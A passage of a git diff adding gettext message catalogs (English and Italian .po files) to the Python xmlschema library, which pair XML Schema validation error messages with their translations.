"" +"totalDigits facet value cannot be greater than the value of the same facet " +"in the base type" +msgstr "" +"totalDigits facet value cannot be greater than the value of the same facet " +"in the base type" + +#: xmlschema/validators/simple_types.py:262 +#, python-format +msgid "" +"the explicitTimezone facet value cannot be changed if the base type has the " +"same facet with value %r" +msgstr "" +"the explicitTimezone facet value cannot be changed if the base type has the " +"same facet with value %r" + +#: xmlschema/validators/simple_types.py:460 +msgid "a {0!r} or {1!r} object required" +msgstr "a {0!r} or {1!r} object required" + +#: xmlschema/validators/simple_types.py:615 +msgid "value is not an instance of {!r}" +msgstr "value is not an instance of {!r}" + +#: xmlschema/validators/simple_types.py:640 +#: xmlschema/validators/simple_types.py:753 +#: xmlschema/validators/simple_types.py:1107 +msgid "invalid value {!r}" +msgstr "invalid value {!r}" + +#: xmlschema/validators/simple_types.py:665 +#, python-format +msgid "unmapped prefix %r in a QName" +msgstr "unmapped prefix %r in a QName" + +#: xmlschema/validators/simple_types.py:699 +#: xmlschema/validators/simple_types.py:711 +msgid "duplicated xs:ID value {!r}" +msgstr "duplicated xs:ID value {!r}" + +#: xmlschema/validators/simple_types.py:706 +msgid "no more than one attribute of type ID should be present in an element" +msgstr "no more than one attribute of type ID should be present in an element" + +#: xmlschema/validators/simple_types.py:731 +msgid "boolean value {0!r} requires a {1!r} decoder" +msgstr "boolean value {0!r} requires a {1!r} decoder" + +#: xmlschema/validators/simple_types.py:736 +msgid "{0!r} is not an instance of {1!r}" +msgstr "{0!r} is not an instance of {1!r}" + +#: xmlschema/validators/simple_types.py:824 +#, python-format +msgid "%r: a list must be based on atomic data types" +msgstr "%r: a list must be based on atomic data types" + +#: xmlschema/validators/simple_types.py:843 +msgid "ambiguous list type declaration" +msgstr "ambiguous list type declaration" + +#: xmlschema/validators/simple_types.py:851 +msgid "missing list type declaration" +msgstr "missing list type declaration" + +#: xmlschema/validators/simple_types.py:864 +msgid "circular definition found for type {!r}" +msgstr "circular definition found for type {!r}" + +#: xmlschema/validators/simple_types.py:869 +#, python-format +msgid "'final' value of the itemType %r forbids derivation by list" +msgstr "'final' value of the itemType %r forbids derivation by list" + +#: xmlschema/validators/simple_types.py:873 +#: xmlschema/validators/simple_types.py:1048 +#: xmlschema/validators/simple_types.py:1335 +msgid "cannot use xs:anyAtomicType as base type of a user-defined type" +msgstr "cannot use xs:anyAtomicType as base type of a user-defined type" + +#: xmlschema/validators/simple_types.py:996 +#, python-format +msgid "wrong value %r for attribute 'white_space'" +msgstr "wrong value %r for attribute 'white_space'" + +#: xmlschema/validators/simple_types.py:1031 +msgid "circular definition found on xs:union type {!r}" +msgstr "circular definition found on xs:union type {!r}" + +#: xmlschema/validators/simple_types.py:1035 +msgid "a {0!r} required, not {1!r}" +msgstr "a {0!r} required, not {1!r}" + +#: xmlschema/validators/simple_types.py:1039 +#, python-format +msgid "'final' value of the memberTypes %r forbids derivation by union" +msgstr "'final' value of the memberTypes %r forbids derivation by union" + +#: xmlschema/validators/simple_types.py:1045 +msgid "missing xs:union type declarations" +msgstr "missing xs:union type declarations" + +#: xmlschema/validators/simple_types.py:1128 +#, python-format +msgid "no type suitable for decoding the values %r" +msgstr "no type suitable for decoding the values %r" + +#: xmlschema/validators/simple_types.py:1162 +msgid "no type suitable for encoding the object" +msgstr "no type suitable for encoding the object" + +#: xmlschema/validators/simple_types.py:1210 +msgid "'name' attribute in a local simpleType definition" +msgstr "'name' attribute in a local simpleType definition" + +#: xmlschema/validators/simple_types.py:1252 +#, python-format +msgid "wrong base type %r, an atomic type required" +msgstr "wrong base type %r, an atomic type required" + +#: xmlschema/validators/simple_types.py:1258 +msgid "an xs:simpleType definition expected" +msgstr "an xs:simpleType definition expected" + +#: xmlschema/validators/simple_types.py:1263 +msgid "" +"when a complexType with simpleContent restricts a complexType with mixed and " +"with emptiable content then a simpleType child declaration is required" +msgstr "" +"when a complexType with simpleContent restricts a complexType with mixed and " +"with emptiable content then a simpleType child declaration is required" + +#: xmlschema/validators/simple_types.py:1268 +#, python-format +msgid "simpleType restriction of %r is not allowed" +msgstr "simpleType restriction of %r is not allowed" + +#: xmlschema/validators/simple_types.py:1277 +msgid "unexpected tag after attribute declarations" +msgstr "unexpected tag after attribute declarations" + +#: xmlschema/validators/simple_types.py:1282 +msgid "duplicated simpleType declaration" +msgstr "duplicated simpleType declaration" + +#: xmlschema/validators/simple_types.py:1304 +msgid "restriction with 'base' attribute and simpleType declaration" +msgstr "restriction with 'base' attribute and simpleType declaration" + +#: xmlschema/validators/simple_types.py:1312 +#, python-format +msgid "unexpected tag %r in restriction" +msgstr "unexpected tag %r in restriction" + +#: xmlschema/validators/simple_types.py:1318 +#, python-format +msgid "multiple %r constraint facet" +msgstr "multiple %r constraint facet" + +#: xmlschema/validators/simple_types.py:1330 +msgid "missing base type in restriction" +msgstr "missing base type in restriction" + +#: xmlschema/validators/simple_types.py:1332 +#, python-format +msgid "'final' value of the baseType %r forbids derivation by restriction" +msgstr "'final' value of the baseType %r forbids derivation by restriction" + +#: xmlschema/validators/simple_types.py:1381 +#: xmlschema/validators/simple_types.py:1430 +#, python-format +msgid "" +"wrong base type %r: a simpleType or a complexType with simple or mixed " +"content required" +msgstr "" +"wrong base type %r: a simpleType or a complexType with simple or mixed " +"content required" + +#: xmlschema/validators/identities.py:86 +msgid "'xpath' attribute required" +msgstr "'xpath' attribute required" + +#: xmlschema/validators/identities.py:98 +msgid "invalid XPath expression for an {}" +msgstr "invalid XPath expression for an {}" + +#: xmlschema/validators/identities.py:182 +msgid "missing required attribute 'name'" +msgstr "missing required attribute 'name'" + +#: xmlschema/validators/identities.py:190 +msgid "missing 'selector' declaration" +msgstr "missing 'selector' declaration" + +#: xmlschema/validators/identities.py:202 +msgid "unknown identity constraint {!r}" +msgstr "unknown identity constraint {!r}" + +#: xmlschema/validators/identities.py:207 +msgid "attribute 'ref' points to a different kind constraint" +msgstr "attribute 'ref' points to a different kind constraint" + +#: xmlschema/validators/identities.py:296 +msgid "missing key field {0!r} for {1!r}" +msgstr "missing key field {0!r} for {1!r}" + +#: xmlschema/validators/identities.py:304 +#, python-format +msgid "%r field doesn't have a simple type!" +msgstr "%r field doesn't have a simple type!" + +#: xmlschema/validators/identities.py:325 +#, python-format +msgid "%r field selects multiple values!" +msgstr "%r field selects multiple values!" + +#: xmlschema/validators/identities.py:359 +msgid "missing required attribute 'refer'" +msgstr "missing required attribute 'refer'" + +#: xmlschema/validators/identities.py:381 +#, python-format +msgid "key/unique identity constraint %r is missing" +msgstr "key/unique identity constraint %r is missing" + +#: xmlschema/validators/identities.py:386 +#, python-format +msgid "reference to a non key/unique identity constraint %r" +msgstr "reference to a non key/unique identity constraint %r" + +#: xmlschema/validators/identities.py:389 +msgid "field cardinality mismatch between {0!r} and {1!r}" +msgstr "field cardinality mismatch between {0!r} and {1!r}" + +#: xmlschema/validators/identities.py:459 +msgid "duplicated value {0!r} for {1!r}" +msgstr "duplicated value {0!r} for {1!r}" + +#: xmlschema/validators/xsdbase.py:51 +#, python-format +msgid "validation mode can be 'strict', 'lax' or 'skip': %r" +msgstr "validation mode can be 'strict', 'lax' or 'skip': %r" + +#: xmlschema/validators/xsdbase.py:254 +msgid "" +"wrong value {0!r} for 'xpathDefaultNamespace' attribute, can be (anyURI | " +"{1})." +msgstr "" +"wrong value {0!r} for 'xpathDefaultNamespace' attribute, can be (anyURI | " +"{1})." + +#: xmlschema/validators/xsdbase.py:405 +#, python-format +msgid "missing attribute 'name' in a global %r" +msgstr "missing attribute 'name' in a global %r" + +#: xmlschema/validators/xsdbase.py:408 +#, python-format +msgid "missing both attributes 'name' and 'ref' in local %r" +msgstr "missing both attributes 'name' and 'ref' in local %r" + +#: xmlschema/validators/xsdbase.py:411 +msgid "attributes 'name' and 'ref' are mutually exclusive" +msgstr "attributes 'name' and 'ref' are mutually exclusive" + +#: xmlschema/validators/xsdbase.py:414 +#, python-format +msgid "attribute 'ref' not allowed in a global %r" +msgstr "attribute 'ref' not allowed in a global %r" + +#: xmlschema/validators/xsdbase.py:423 +msgid "a reference component cannot have child definitions/declarations" +msgstr "a reference component cannot have child definitions/declarations" + +#: xmlschema/validators/xsdbase.py:438 +msgid "too many XSD components, unexpected {0!r} found at position {1}" +msgstr "too many XSD components, unexpected {0!r} found at position {1}" + +#: xmlschema/validators/xsdbase.py:454 +msgid "" +"attribute 'name' must be present when 'targetNamespace' attribute is provided" +msgstr "" +"attribute 'name' must be present when 'targetNamespace' attribute is provided" + +#: xmlschema/validators/xsdbase.py:458 +msgid "" +"attribute 'form' must be absent when 'targetNamespace' attribute is provided" +msgstr "" +"attribute 'form' must be absent when 'targetNamespace' attribute is provided" + +#: xmlschema/validators/xsdbase.py:463 +#, python-format +msgid "a global %s must have the same namespace as its parent schema" +msgstr "a global %s must have the same namespace as its parent schema" + +#: xmlschema/validators/xsdbase.py:471 +msgid "" +"a declaration contained in a global complexType must have the same namespace " +"as its parent schema" +msgstr "" +"a declaration contained in a global complexType must have the same namespace " +"as its parent schema" + +#: xmlschema/validators/xsdbase.py:591 +msgid "parent circularity from {}" +msgstr "parent circularity from {}" + +#: xmlschema/validators/helpers.py:44 +#, python-format +msgid "wrong value %r for attribute %r" +msgstr "wrong value %r for attribute %r" + +#: xmlschema/validators/helpers.py:59 +msgid "value is not a valid xs:decimal" +msgstr "value is not a valid xs:decimal" + +#: xmlschema/validators/helpers.py:65 +msgid "value is not an xs:QName" +msgstr "value is not an xs:QName" + +#: xmlschema/validators/helpers.py:71 xmlschema/validators/helpers.py:77 +#: xmlschema/validators/helpers.py:83 xmlschema/validators/helpers.py:89 +#: xmlschema/validators/helpers.py:95 xmlschema/validators/helpers.py:101 +#: xmlschema/validators/helpers.py:107 xmlschema/validators/helpers.py:113 +msgid "value must be {:s}" +msgstr "value must be {:s}" + +#: xmlschema/validators/helpers.py:119 +msgid "value must be negative" +msgstr "value must be negative" + +#: xmlschema/validators/helpers.py:125 +msgid "value must be positive" +msgstr "value must be positive" + +#: xmlschema/validators/helpers.py:131 +msgid "value must be non positive" +msgstr "value must be non positive" + +#: xmlschema/validators/helpers.py:137 +msgid "value must be non negative" +msgstr "value must be non negative" + +#: xmlschema/validators/helpers.py:144 +msgid "not an hexadecimal number" +msgstr "not an hexadecimal number" + +#: xmlschema/validators/helpers.py:157 +msgid "not a base64 encoding" +msgstr "not a base64 encoding" + +#: xmlschema/validators/helpers.py:162 +msgid "no value is allowed for xs:error type" +msgstr "no value is allowed for xs:error type" + +#: xmlschema/validators/helpers.py:174 +msgid "{!r} is not a boolean value" +msgstr "{!r} is not a boolean value" diff --git a/xmlschema/locale/it/LC_MESSAGES/xmlschema.mo b/xmlschema/locale/it/LC_MESSAGES/xmlschema.mo new file mode 100644 index 0000000..95f4b88 Binary files /dev/null and b/xmlschema/locale/it/LC_MESSAGES/xmlschema.mo differ diff --git a/xmlschema/locale/it/LC_MESSAGES/xmlschema.po b/xmlschema/locale/it/LC_MESSAGES/xmlschema.po new file mode 100644 index 0000000..b431ef9 --- /dev/null +++ b/xmlschema/locale/it/LC_MESSAGES/xmlschema.po @@ -0,0 +1,1819 @@ +# Italian translations for xmlschema package. +# Copyright (C) 2022 , 2016, SISSA (International School for Advanced Studies). +# This file is distributed under the same license as the xmlschema package. +# Davide Brunato <brunato@sissa.it>, 2022. +# +msgid "" +msgstr "" +"Project-Id-Version: xmlschema\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2022-05-12 17:25+0200\n" +"PO-Revision-Date: 2022-05-09 16:08+0200\n" +"Last-Translator: Davide Brunato <brunato@sissa.it>\n" +"Language-Team: Italian\n" +"Language: it\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: nplurals=2; plural=(n != 1);\n" + +#: xmlschema/validators/complex_types.py:134 +msgid "missing attribute 'name' in a global complexType" +msgstr "attributo 'name' mancante in tipo complesso globale" + +#: xmlschema/validators/complex_types.py:139 +msgid "attribute 'name' not allowed in a local complexType" +msgstr "attributo 'name' non ammesso in tipo complesso locale" + +#: xmlschema/validators/complex_types.py:162 +msgid "'mixed' attribute not allowed with simpleContent" +msgstr "l'attributo 'mixed' non è ammesso se il contenuto è simpleContent" + +#: xmlschema/validators/complex_types.py:177 +#, python-format +msgid "unexpected tag %r after simpleContent declaration:" +msgstr "tag %r non previsto dopo dichiarazione simpleContent" + +#: xmlschema/validators/complex_types.py:188 +msgid "" +"value of 'mixed' attribute in complexType and complexContent must be the same" +msgstr "" +"il valore dell'attributo 'mixed' di un complexType e del suo complexContent " +"dev'essere uguale" + +#: xmlschema/validators/complex_types.py:208 +#, python-format +msgid "unexpected tag %r after complexContent declaration" +msgstr "tag %r non previsto dopo dichiarazione complexContent" + +#: xmlschema/validators/complex_types.py:232 +#, python-format +msgid "unexpected tag %r for complexType content" +msgstr "tag %r non previsto per un contenuto di complexType" + +#: xmlschema/validators/complex_types.py:240 +#: xmlschema/validators/simple_types.py:1227 +msgid "wrong definition with self-reference" +msgstr "definizione errata con autoreferenzialità" + +#: xmlschema/validators/complex_types.py:243 +#: xmlschema/validators/simple_types.py:1234 +msgid "wrong redefinition without self-reference" +msgstr "ridefinizione errata senza autoreferenzialità" + +#: xmlschema/validators/complex_types.py:254 +msgid "restriction or extension tag expected" +msgstr "previsto tag di restrizione o estensione" + +#: xmlschema/validators/complex_types.py:261 +msgid "{!r} is expected to have a redefined/overridden component" +msgstr "è previsto che {!r} abbia almeno un componente ridefinito/sostituito" + +#: xmlschema/validators/complex_types.py:266 +msgid "{0!r} derivation not allowed for {1!r}" +msgstr "derivazione {0!r} non ammessa per {1!r}" + +#: xmlschema/validators/complex_types.py:276 +msgid "'base' attribute required" +msgstr "attributo 'base' richiesto" + +#: xmlschema/validators/complex_types.py:285 +#, python-format +msgid "missing base type %r" +msgstr "tipo base %r mancante" + +#: xmlschema/validators/complex_types.py:293 +#: xmlschema/validators/simple_types.py:1247 +msgid "circular definition found between {0!r} and {1!r}" +msgstr "definizione circolare trovata tra {0!r} e {1!r}" + +#: xmlschema/validators/complex_types.py:297 +#: xmlschema/validators/complex_types.py:311 +msgid "a complexType ancestor required: {!r}" +msgstr "è richiesto un antenato complexType: {!r}" + +#: xmlschema/validators/complex_types.py:302 +#, python-format +msgid "derivation by %r blocked by attribute 'final' in base type" +msgstr "derivazione per %r bloccata de attributo 'final' nel tipo base" + +#: xmlschema/validators/complex_types.py:319 +msgid "a not empty simpleContent cannot restrict an empty content type" +msgstr "" +"un simpleContent non vuoto non può essere restrizione di un tipo di " +"contenuto vuoto" + +#: xmlschema/validators/complex_types.py:326 +msgid "content type is not a restriction of base content" +msgstr "il tipo di contenuto non è una restrizione di quello di base" + +#: xmlschema/validators/complex_types.py:332 +msgid "with simpleContent cannot restrict an element-only content type" +msgstr "" +"con un simpleContent non si può restringere un tipo di contenuto element-only" + +#: xmlschema/validators/complex_types.py:344 xmlschema/validators/groups.py:478 +#, python-format +msgid "unexpected tag %r" +msgstr "tag %r inatteso" + +#: xmlschema/validators/complex_types.py:354 +#, python-format +msgid "base type %r has no simple content" +msgstr "il tipo base %r non ha contenuto semplice" + +#: xmlschema/validators/complex_types.py:362 +msgid "the base type is not derivable by restriction" +msgstr "il tipo base non è derivabile per restrizione" + +#: xmlschema/validators/complex_types.py:365 +#: xmlschema/validators/complex_types.py:458 +#: xmlschema/validators/complex_types.py:896 +#, python-format +msgid "base %r is simple or has a simple content" +msgstr "la base %r è semplice o ha contenuto semplice" + +#: xmlschema/validators/complex_types.py:377 +#, python-brace-format +msgid "" +"restriction of an xs:{0} with more than one particle with xs:{1} is forbidden" +msgstr "" +"la restrizione di un xs:{0} avente più di una particella con xs:{1} è " +"proibita" + +#: xmlschema/validators/complex_types.py:389 +msgid "derived a mixed content from a base type that has element-only content" +msgstr "" +"derivazione di contenuto misto da un tipo base con contenuto element-only" + +#: xmlschema/validators/complex_types.py:392 +msgid "an empty content derivation from base type that has not empty content" +msgstr "" +"derivazione di un contenuto vuoto da un tipo base con contenuto non vuoto" + +#: xmlschema/validators/complex_types.py:403 +msgid "{0!r} is not a restriction of the base type {1!r}" +msgstr "{0!r} non è una restrizione del tipo base {1!r}" + +#: xmlschema/validators/complex_types.py:412 +#: xmlschema/validators/complex_types.py:901 +msgid "the base type is not derivable by extension" +msgstr "il tipo base non è derivabile per estensione" + +#: xmlschema/validators/complex_types.py:445 +#: xmlschema/validators/complex_types.py:952 +#: xmlschema/validators/complex_types.py:1002 +#, python-format +msgid "" +"base has a different content type (mixed=%r) and the extension group is not " +"empty." +msgstr "" +"la base ha un diverso tipo di contenuto (mixed=%r) e il gruppo di estensione " +"non è vuoto" + +#: xmlschema/validators/complex_types.py:465 +msgid "cannot extend a complex content with xs:all" +msgstr "non si può estendere un contenuto complesso con xs:all" + +#: xmlschema/validators/complex_types.py:468 +msgid "xs:sequence cannot extend xs:all" +msgstr "xs:sequence non può estendere xs:all" + +#: xmlschema/validators/complex_types.py:478 +msgid "XSD 1.0 does not allow extension of a not empty 'all' model group" +msgstr "XSD 1.0 non permette l'estensione di un gruppo modello 'all' non vuoto" + +#: xmlschema/validators/complex_types.py:481 +#, python-format +msgid "" +"base has a different content type (mixed=%r) and the extension group is not " +"empty" +msgstr "" +"la base ha un diverso tipo di contenuto (mixed=%r) e il gruppo di estensione " +"non è vuoto" + +#: xmlschema/validators/complex_types.py:495 +#: xmlschema/validators/complex_types.py:1017 +msgid "extended type has a mixed content but the base is element-only" +msgstr "il tipo esteso ha un contenuto misto ma la base è element-only" + +#: xmlschema/validators/complex_types.py:655 +msgid "global type {!r} is not built" +msgstr "il tipo globale {!r} non è costruito" + +#: xmlschema/validators/complex_types.py:721 +#: xmlschema/validators/complex_types.py:746 +#, python-format +msgid "cannot decode %(obj)r data with %(decoder)r" +msgstr "non posso decodificare i dati di %(obj)r con %(decoder)r" + +#: xmlschema/validators/complex_types.py:847 +msgid "the simple content of {!r} is not a valid simple type in XSD 1.1" +msgstr "il contenuto semplice di {!r} non è un tipo semplice valido in XSD 1.1" + +#: xmlschema/validators/complex_types.py:854 +msgid "openContent mismatch between type and model group" +msgstr "openContent non corrispondente tra il tipo e il modello di gruppo" + +#: xmlschema/validators/complex_types.py:869 +#, python-format +msgid "attribute %r must be inheritable" +msgstr "l'attributo %r dev'essere ereditabile" + +#: xmlschema/validators/complex_types.py:885 +msgid "default attribute {!r} is already declared in the complex type" +msgstr "l'attributo di default {!r} è già dichiarato nel tipo complesso" + +#: xmlschema/validators/complex_types.py:956 +msgid "cannot extend an empty mixed content with an xs:all" +msgstr "non si può estendere un contenuto misto vuoto con xs:all" + +#: xmlschema/validators/complex_types.py:974 +#, python-format +msgid "xs:all cannot extend a not empty xs:%s" +msgstr "xs:all non può estendere un xs:%s non vuoto" + +#: xmlschema/validators/complex_types.py:989 +msgid "cannot extend a not empty 'all' model group with a different model" +msgstr "non si può estendere un gruppo 'all' non vuoto con un modello diverso" + +#: xmlschema/validators/complex_types.py:992 +msgid "when extend an xs:all group minOccurs must be the same" +msgstr "" +"quando si estende un gruppo xs:all il valore di minOccurs dev'essere lo " +"stesso" + +#: xmlschema/validators/complex_types.py:995 +msgid "cannot extend an xs:all group with mixed empty content" +msgstr "non si può estendere un gruppo xs:all con un contenuto misto vuoto" + +#: xmlschema/validators/complex_types.py:1035 +msgid "{0!r} is not an extension of the base type {1!r}" +msgstr "{0!r} non è un'estensione del tipo base {1!r}" + +#: xmlschema/validators/notations.py:39 +msgid "a notation declaration must be global" +msgstr "una dichiarazione notation dev'essere globale" + +#: xmlschema/validators/notations.py:43 +msgid "a notation must have a 'name' attribute" +msgstr "una notation deve avere l'attributo 'name'" + +#: xmlschema/validators/notations.py:46 +msgid "a notation must have a 'public' or a 'system' attribute" +msgstr "una notation deve avere un attributo 'public' o 'system'" + +#: xmlschema/validators/particles.py:122 +msgid "minOccurs value is not an integer value" +msgstr "il valore di minOccurs non è un valore intero" + +#: xmlschema/validators/particles.py:126 +msgid "minOccurs value must be a non negative integer" +msgstr "il valore di minOccurs dev'essere un intero non negativo" + +#: xmlschema/validators/particles.py:134 +msgid "minOccurs must be lesser or equal than maxOccurs" +msgstr "minOccurs dev'essere inferiore o uguale a maxOccurs" + +#: xmlschema/validators/particles.py:142 +msgid "maxOccurs value must be a non negative integer or 'unbounded'" +msgstr "il valore di maxOccurs dev'essere un intero non negativo o 'unbounded'" + +#: xmlschema/validators/particles.py:146 +msgid "maxOccurs must be 'unbounded' or greater than minOccurs" +msgstr "maxOccurs dev'essere 'unbounded' o maggiore di minOccurs" + +#: xmlschema/validators/assertions.py:76 +msgid "base_type={!r} is not a complexType definition" +msgstr "base_type={!r} non è una definizione complexType" + +#: xmlschema/validators/elements.py:162 +#, python-format +msgid "unknown element %r" +msgstr "elemento %r sconosciuto" + +#: xmlschema/validators/elements.py:179 +msgid "attribute {!r} is not allowed when element reference is used" +msgstr "" +"l'attributo {!r} non è ammesso quando si una un riferimento ad elemento" + +#: xmlschema/validators/elements.py:200 +msgid "local scope elements cannot have abstract attribute" +msgstr "gli elementi locali non possono avere l'attributo 'abstract'" + +#: xmlschema/validators/elements.py:227 +msgid "attribute {!r} is not allowed in a global element declaration" +msgstr "" +"l'attributo {!r} non è ammesso in una dichiarazione di elemento globale" + +#: xmlschema/validators/elements.py:232 +msgid "attribute {!r} not allowed in a local element declaration" +msgstr "l'attributo {!r} non è ammesso in una dichiarazione di elemento locale" + +#: xmlschema/validators/elements.py:250 xmlschema/validators/elements.py:1460 +#: xmlschema/validators/simple_types.py:859 +#: xmlschema/validators/simple_types.py:1024 +#: xmlschema/validators/simple_types.py:1240 +msgid "unknown type {!r}" +msgstr "tipo {!r} sconosciuto" + +#: xmlschema/validators/elements.py:255 +msgid "" +"the attribute 'type' and a xs:{} local declaration are mutually exclusive" +msgstr "" +"l'attributo 'type' e una dichiarazione xs:{} locale sono mutuamente esclusivi" + +#: xmlschema/validators/elements.py:274 xmlschema/validators/attributes.py:165 +msgid "'default' and 'fixed' attributes are mutually exclusive" +msgstr "gli attributi 'default' e 'fixed' sono mutuamente esclusivi" + +#: xmlschema/validators/elements.py:278 +msgid "'default' value {!r} is not compatible with element's type" +msgstr "il valore di default {!r} non è compatibile con il tipo dell'elemento" + +#: xmlschema/validators/elements.py:282 +msgid "xs:ID or a type derived from xs:ID cannot have a default value" +msgstr "" +"xs:ID o un tipo derivato da xs:ID non possono avere un valore di default" + +#: xmlschema/validators/elements.py:288 +msgid "'fixed' value {!r} is not compatible with element's type" +msgstr "il valore di fisso {!r} non è compatibile con il tipo dell'elemento" + +#: xmlschema/validators/elements.py:292 +msgid "xs:ID or a type derived from xs:ID cannot have a fixed value" +msgstr "xs:ID o un tipo derivato da xs:ID non possono avere un valore fisso" + +#: xmlschema/validators/elements.py:311 xmlschema/validators/elements.py:319 +#, python-format +msgid "duplicated identity constraint %r:" +msgstr "vincolo di identità %r duplicato" + +#: xmlschema/validators/elements.py:341 +#, python-format +msgid "unknown substitutionGroup %r" +msgstr "gruppo di sostituzione %r sconosciuto" + +#: xmlschema/validators/elements.py:346 +#, python-format +msgid "circularity found for substitutionGroup %r" +msgstr "trovata circolarità per il gruppo di sostituzione %r" + +#: xmlschema/validators/elements.py:361 +msgid "" +"{0!r} type is not of the same or a derivation of the head element {1!r} type" +msgstr "" +"il tipo {0!r} non è lo stesso o non è una derivazione del tipo dell'elemento " +"di testa {1!r}" + +#: xmlschema/validators/elements.py:365 +#, python-format +msgid "" +"head element %r can't be substituted by an element that has a derivation of " +"its type" +msgstr "" +"l'elemento di testa %r non può essere sostituito da un elemento che ha una " +"derivazione del suo tipo" + +#: xmlschema/validators/elements.py:369 +#, python-format +msgid "" +"head element %r can't be substituted by an element that has an extension of " +"its type" +msgstr "" +"l'elemento di testa %r non può essere sostituito da un elemento che ha una " +"estensione del suo tipo" + +#: xmlschema/validators/elements.py:373 +#, python-format +msgid "" +"head element %r can't be substituted by an element that has a restriction of " +"its type" +msgstr "" +"l'elemento di testa %r non può essere sostituito da un elemento che ha una " +"restrizione del suo tipo" + +#: xmlschema/validators/elements.py:547 +msgid "schemaLocation declaration after namespace start" +msgstr "dichiarazione schemaLocation dopo l'inizio dello spazio dei nomi" + +#: xmlschema/validators/elements.py:556 +#, python-format +msgid "missing dynamic loaded schema from %s" +msgstr "manca lo schema caricato dinamicamente da %s" + +#: xmlschema/validators/elements.py:559 +msgid "dynamic loaded schema change the assessment" +msgstr "lo schema a caricamento dinamico cambia la valutazione" + +#: xmlschema/validators/elements.py:610 +msgid "cannot use an abstract element for validation" +msgstr "non è possibile utilizzare un elemento astratto per la convalida" + +#: xmlschema/validators/elements.py:667 xmlschema/validators/identities.py:219 +msgid "selector xpath expression can only select elements" +msgstr "l'espressione xpath di un selector può selezionare solo elementi" + +#: xmlschema/validators/elements.py:673 +#, python-format +msgid "usage of %r is blocked" +msgstr "l'utilizzo di %r è bloccato" + +#: xmlschema/validators/elements.py:677 +#, python-format +msgid "%r is abstract" +msgstr "%r è astratto" + +#: xmlschema/validators/elements.py:705 +msgid "element is not nillable" +msgstr "l'elemento non è annullabile" + +#: xmlschema/validators/elements.py:708 +msgid "xsi:nil attribute must have a boolean value" +msgstr "l'attributo xsi:nil deve avere un valore booleano" + +#: xmlschema/validators/elements.py:713 +msgid "xsi:nil='true' but the element has a fixed value" +msgstr "xsi:nil='true' ma l'elemento ha un valore fisso" + +#: xmlschema/validators/elements.py:716 +msgid "xsi:nil='true' but the element is not empty" +msgstr "xsi:nil='true' ma l'elemento non è vuoto" + +#: xmlschema/validators/elements.py:722 +msgid "character data is not allowed because content is empty" +msgstr "i caratteri non sono consentiti perché il contenuto è vuoto" + +#: xmlschema/validators/elements.py:744 xmlschema/validators/elements.py:760 +#, python-format +msgid "must have the fixed value %r" +msgstr "deve avere il valore fisso %r" + +#: xmlschema/validators/elements.py:749 +msgid "a simple content element can't have child elements" +msgstr "un elemento con contenuto semplice non può avere elementi figlio" + +#: xmlschema/validators/elements.py:778 xmlschema/validators/attributes.py:237 +msgid "" +"cannot validate against xs:NOTATION directly, only against a subtype with an " +"enumeration facet" +msgstr "" +"non si può convalidare direttamente con xs:NOTATION, solo con un sottotipo " +"con facet di enumerazione" + +#: xmlschema/validators/elements.py:782 xmlschema/validators/attributes.py:241 +msgid "missing enumeration facet in xs:NOTATION subtype" +msgstr "facet di enumerazione mancante nel sottotipo di xs:NOTATION" + +#: xmlschema/validators/elements.py:1245 +msgid "test attribute missing in non-final alternative" +msgstr "attributo test mancante in alternativa non finale" + +#: xmlschema/validators/elements.py:1370 +msgid "Maybe a not equivalent type table between elements {0!r} and {1!r}" +msgstr "" +"Forse una tabella di tipo non equivalente tra gli elementi {0!r} e {1!r}" + +#: xmlschema/validators/elements.py:1446 +msgid "missing 'type' attribute" +msgstr "attributo 'type' mancante" + +#: xmlschema/validators/elements.py:1454 +msgid "declared type is not derived from {!r}" +msgstr "il tipo dichiarato non è derivato da {!r}" + +#: xmlschema/validators/elements.py:1464 +msgid "type {0!r} is not derived from {1!r}" +msgstr "il tipo {0!r} non è derivato da {1!r}" + +#: xmlschema/validators/elements.py:1469 +#, python-format +msgid "" +"the attribute 'type' and the xs:%s local declaration are mutually exclusive" +msgstr "" +"l'attributo 'type' e la dichiarazione locale xs:%s si escludono a vicenda" + +#: xmlschema/validators/global_maps.py:77 +msgid "global {0} with name={1!r} is already defined" +msgstr "{0} globale con nome={1!r} è già definito" + +#: xmlschema/validators/global_maps.py:90 +msgid "multiple redefinition for {0} {1!r}" +msgstr "ridefinizione multipla per {0} {1!r}" + +#: xmlschema/validators/global_maps.py:102 +msgid "circular redefinition for {0} {1!r}" +msgstr "ridefinizione circolare per {0} {1!r}" + +#: xmlschema/validators/global_maps.py:117 +msgid "not a redefinition!" +msgstr "non è una ridefinizione!" + +#: xmlschema/validators/global_maps.py:234 +msgid "wrong tag {!r} for an XSD global definition/declaration" +msgstr "tag errato {!r} per una dichiarazione/definizione globale XSD" + +#: xmlschema/validators/global_maps.py:313 +#: xmlschema/validators/global_maps.py:330 +msgid "wrong element {0!r} for map {1!r}" +msgstr "elemento sbagliato {0!r} per la mappa {1!r}" + +#: xmlschema/validators/global_maps.py:339 +msgid "redefined schema {!r} has a different targetNamespace" +msgstr "lo schema ridefinito {!r} ha un targetNamespace diverso" + +#: xmlschema/validators/global_maps.py:350 +msgid "unexpected instance {!r} in global map" +msgstr "istanza imprevista {!r} nella mappa globale" + +#: xmlschema/validators/global_maps.py:382 +msgid "{0!r} cannot substitute {1!r}" +msgstr "{0!r} non può sostituire {1!r}" + +#: xmlschema/validators/global_maps.py:578 +msgid "missing XSD namespace in meta-schema instance {!r}" +msgstr "spazio dei nomi XSD mancante nell'istanza del meta-schema {!r}" + +#: xmlschema/validators/global_maps.py:587 +msgid "missing default meta-schema instance {!r}" +msgstr "istanza {!r} del meta-schema predefinito mancante" + +#: xmlschema/validators/global_maps.py:639 +msgid "defaultAttributes={0!r} doesn't match any attribute group of {1!r}" +msgstr "" +"defaultAttributes={0!r} non corrisponde a nessun gruppo di attributi di {1!r}" + +#: xmlschema/validators/global_maps.py:682 +msgid "global element not built!" +msgstr "elemento globale non costruito!" + +#: xmlschema/validators/global_maps.py:684 +msgid "circularity found for substitution group with head element {}" +msgstr "" +"circolarità trovata per il gruppo di sostituzione con elemento di testa {}" + +#: xmlschema/validators/global_maps.py:689 +#, python-format +msgid "global map has unbuilt components: %r" +msgstr "la mappa globale ha componenti non costruiti: %r" + +#: xmlschema/validators/global_maps.py:694 +msgid "global group not built!" +msgstr "gruppo globale non costruito!" + +#: xmlschema/validators/global_maps.py:701 +msgid "the redefined group is an 